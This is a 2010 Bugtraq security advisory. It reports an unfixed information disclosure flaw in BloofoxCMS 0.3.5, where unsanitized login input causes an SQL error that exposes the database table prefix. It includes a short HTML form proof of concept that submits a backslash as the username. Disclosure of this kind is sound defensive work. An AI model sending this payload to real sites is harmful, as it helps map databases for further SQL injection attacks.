bugtraq - Information disclosure in BloofoxCMS

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Message-Id: <201010271046.o9RAkc8Z020258@htbridge.ch>
Date: Wed, 27 Oct 2010 12:46:38 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: Information disclosure in BloofoxCMS

Vulnerability ID: HTB22660
Reference: http://www.htbridge.ch/advisory/information_disclosure_in_bloofoxcms_1.html
Product: BloofoxCMS
Vendor: bloofox.com ( http://bloofox.com/ ) 
Vulnerable Version: 0.3.5 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: Information Disclosure
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in username variable, it's possible to generate an sql query error that will reveal the database tables prefix.

The following PoC is available:


<form action="http://[host]/index.php?login=true" method="post">
<input name="username" type="hidden" value="\\">
<input name="password" type="hidden" value="password">
<input value="Login" name="login" type="submit">
</form>